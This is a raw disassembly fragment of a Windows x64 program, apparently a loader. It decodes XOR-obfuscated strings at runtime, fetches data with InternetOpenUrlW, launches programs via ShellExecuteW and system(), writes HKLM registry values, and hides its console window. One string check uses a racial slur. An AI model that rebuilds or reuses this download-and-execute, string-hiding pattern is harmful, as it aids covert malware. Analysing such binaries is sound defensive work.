movd dword [rcx - 4], xmm2
cmp r12d, 0x10
jl 0x1402baf20
cmp eax, 0x16
jge 0x1402bb074
movsxd r8, r12d
add r8, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r12b
inc r12d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r12d, 0x16
jl 0x1402bb040
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0x36a0]
lea rcx, [rbp + 0x918]
call fcn.1402c7cc0
lea rdx, str.Nigga
lea rcx, [rbp + 0x918]
call fcn.1402c8590
test al, al
je 0x1402bb6a6
lea rcx, [0x1403f1d04]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0xbe0]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
call fcn.1402c59a0
mov r10, rax
cmp word [rax + 0xb6], r12w
je 0x1402bb268
mov r8d, r12d
cmp r15d, 2
jl 0x1402bb229
movdqa xmm5, xmmword [0x1403f45a0]
mov rcx, rax
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmm7, xmmword [0x1403f4620]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x58
jl 0x1402bb130
cmp r8d, 0x5c
jge 0x1402bb268
movsxd rax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x92492493
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9 - 2], ax
cmp r8d, 0x5c
jl 0x1402bb230
mov qword [rsp + 0x28], r12
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80400100
mov rdx, r10
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rbp + 0x40], rax
mov r13, rax
test rax, rax
je 0x1402bb489
lea r9, [rbp - 0x74]
mov r8d, 0x400
lea rdx, [rbp + 0x1290]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1402bb480
lea rdx, [rbp - 6]
mov byte [rsp + 0x63], r12b
lea rcx, [rsp + 0x63]
call fcn.1402c5890
mov rdi, rax
cmp byte [rax + 0xb], r12b
je 0x1402bb428
mov r13d, r12d
cmp r15d, 2
jl 0x1402bb3e8
movdqa xmm2, xmmword [0x1403f45a0]
mov r13d, 8
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rdi]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdi], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdi + 4]
xorps xmm2, xmm0
movd dword [rdi + 4], xmm2
movsxd r8, r13d
add r8, rdi
nop
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r13b
inc r13d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r13d, 0xc
jl 0x1402bb3f0
mov r13, qword [rbp + 0x40]
lea rdx, [rbp - 0x80]
mov byte [rsp + 0x61], r12b
lea rcx, [rsp + 0x61]
call fcn.1402c5a30
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1402bb46c
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor byte [rax + 8], 0x41
xor cl, 0x42
mov byte [rax + 9], cl
mov r9d, reloc.WS2_32.dll_recv
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x440]
mov byte [rsp + 0x61], r12b
lea rcx, [rsp + 0x61]
call fcn.1402c5a70
mov rbx, rax
cmp word [rax + 0x20], r12w
je 0x1402bb648
mov r8d, r12d
cmp r15d, 2
jl 0x1402bb609
movdqa xmm5, xmmword [0x1403f45a0]
mov rcx, rax
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmm7, xmmword [0x1403f4620]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x10
jl 0x1402bb510
cmp r8d, 0x11
jge 0x1402bb648
movsxd rax, r8d
lea r9, [rbx + rax*2]
mov eax, 0x92492493
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9 - 2], ax
cmp r8d, 0x11
jl 0x1402bb610
lea rdx, [rbp - 0x80]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
call fcn.1402c5a50
movzx ecx, word [rax + 8]
test cx, cx
je 0x1402bb67f
xor word [rax], 0x39
xor word [rax + 2], 0x3a
xor word [rax + 4], 0x3b
xor word [rax + 6], 0x3c
xor cx, 0x3d
mov word [rax + 8], cx
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov r8, rbx
mov qword [rsp + 0x20], r12
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r14d, 1
lea rdx, str.C:Windows_settings.ini
mov r8d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rbp + 0xcf0]
lea r9d, [r14 + 0x3f]
call fcn.1402c78c0
cmp qword [rbp + 0xd80], r12
jne 0x1402bc182
lea r9d, [r14 + 0x3f]
mov dword [rsp + 0x20], r14d
lea r8d, [r14 + 1]
lea rdx, str.C:Windows_settings.ini
lea rcx, [rbp + 0xbe0]
call fcn.1402c6b60
lea rcx, [rbp + 0xbe0]
call fcn.1402c6b20
lea rdx, [rbp + 0x380]
mov byte [rsp + 0x61], r12b
lea rcx, [rsp + 0x61]
call fcn.1402c5aa0
mov r10, rax
cmp word [rax + 0x70], r12w
je 0x1402bb898
mov r8d, r12d
cmp r15d, 2
jl 0x1402bb859
movdqa xmm5, xmmword [0x1403f45a0]
mov rcx, rax
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmm7, xmmword [0x1403f4620]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x38
jl 0x1402bb760
cmp r8d, 0x39
jge 0x1402bb898
movsxd rax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x92492493
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9 - 2], ax
cmp r8d, 0x39
jl 0x1402bb860
lea rax, [rbp - 0x68]
mov r9d, 0x2001f
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, r10
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov byte [rsp + 0x61], r12b
lea rcx, [rsp + 0x61]
test eax, eax
jne 0x1402bc9b1
lea rdx, [rbp + 0x380]
mov dword [rbp + 0x48], 4
call fcn.1402c5b00
mov r10, rax
cmp word [rax + 0x42], r12w
je 0x1402bba58
mov r8d, r12d
cmp r15d, 2
jl 0x1402bba19
movdqa xmm5, xmmword [0x1403f45a0]
mov rcx, rax
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmm7, xmmword [0x1403f4620]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x1402bb920
cmp r8d, 0x22
jge 0x1402bba58
movsxd rax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x92492493
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9 - 2], ax
cmp r8d, 0x22
jl 0x1402bba20
mov rcx, qword [rbp - 0x68]
lea rax, [rbp + 0x48]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x64]
xor r8d, r8d
mov rdx, r10
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1402bbf91
cmp dword [rsp + 0x64], r14d
je 0x1402bc167
lea rdx, [rbp + 0x380]
mov dword [rsp + 0x64], r14d
lea rcx, [rsp + 0x61]
mov byte [rsp + 0x61], r12b
call fcn.1402c5b00
mov r10, rax
cmp word [rax + 0x42], r12w
je 0x1402bbc28
mov r8d, r12d
cmp r15d, 2
jl 0x1402bbbe9
movdqa xmm5, xmmword [0x1403f45a0]
mov rcx, rax
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmm7, xmmword [0x1403f4620]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x1402bbaf0
cmp r8d, 0x22
jge 0x1402bbc28
movsxd rax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x92492493
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9 - 2], ax
cmp r8d, 0x22
jl 0x1402bbbf0
mov rcx, qword [rbp - 0x68]
lea rax, [rsp + 0x64]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1402bc167
lea rdx, [rbp - 6]
mov byte [rsp + 0x61], r12b
lea rcx, [rsp + 0x61]
call fcn.1402c5890
mov rbx, rax
cmp byte [rax + 0xb], r12b
je 0x1402bbdc4
mov r13d, r12d
cmp r15d, 2
jl 0x1402bbd87
movdqa xmm2, xmmword [0x1403f45a0]
mov r13d, 8
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r8, r13d
add r8, rbx
nop dword [rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r13b
inc r13d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r13d, 0xc
jl 0x1402bbd90
lea rdx, [rbp + 0x380]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
call fcn.1402c5b40
mov r10, rax
cmp byte [rax + 0x36], r12b
je 0x1402bbf74
cmp r15d, 2
jl 0x1402bbf32
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r12d
lea eax, [r12 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r12d, 8
pmuldq xmm1, xmm4
mov eax, r12d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r12d, 0x30
jl 0x1402bbe20
cmp eax, 0x37
jge 0x1402bbf74
movsxd r8, r12d
add r8, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r12b
inc r12d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r12d, 0x37
jl 0x1402bbf40
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov byte [rsp + 0x61], r12b
lea rcx, [rsp + 0x61]
cmp eax, 2
jne 0x1402bc691
lea rdx, [rbp + 0x380]
mov dword [rbp - 0x74], r14d
call fcn.1402c5b00
mov r10, rax
cmp word [rax + 0x42], r12w
je 0x1402bc138
mov r8d, r12d
cmp r15d, 2
jl 0x1402bc0eb
movdqa xmm5, xmmword [0x1403f45a0]
mov rcx, rax
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmm7, xmmword [0x1403f4620]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x1402bbff2
cmp r8d, 0x22
jge 0x1402bc138
movsxd rax, r8d
lea r9, [r10 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9 - 2], ax
cmp r8d, 0x22
jl 0x1402bc100
mov rcx, qword [rbp - 0x68]
lea rax, [rbp - 0x74]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1402bc359
call fcn.1402b8600
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0xbe0]
call fcn.1402c6510
movaps xmmword [rsp + 0x3bf0], xmm10
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [0x1402c6730]
mov dword [rbp + 0x2f0], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x2f8], rax
xor ecx, ecx
mov dword [rbp + 0x2f4], 0x40
mov qword [rbp + 0x300], r12
mov qword [rbp + 0x308], r12
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x310], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
lea rdx, [rbp - 6]
mov qword [rbp + 0x320], r12
lea rcx, [rsp + 0x61]
mov qword [rbp + 0x318], rax
mov byte [rsp + 0x61], r12b
call fcn.1402c5c10
movzx ecx, word [rax + 0xa]
test cx, cx
je 0x1402bc237
xor word [rax], 0x39
xor word [rax + 2], 0x3a
xor word [rax + 4], 0x3b
xor word [rax + 6], 0x3c
xor word [rax + 8], 0x3d
xor cx, 0x3e
mov word [rax + 0xa], cx
lea rdx, [rbp + 0x2d8]
mov qword [rbp + 0x328], rax
lea rcx, [rsp + 0x61]
mov byte [rsp + 0x61], r12b
call fcn.1402c5c30
mov r10, rax
cmp word [rax + 0xe], r12w
je 0x1402bcd28
cmp r15d, 2
jl 0x1402bcce1
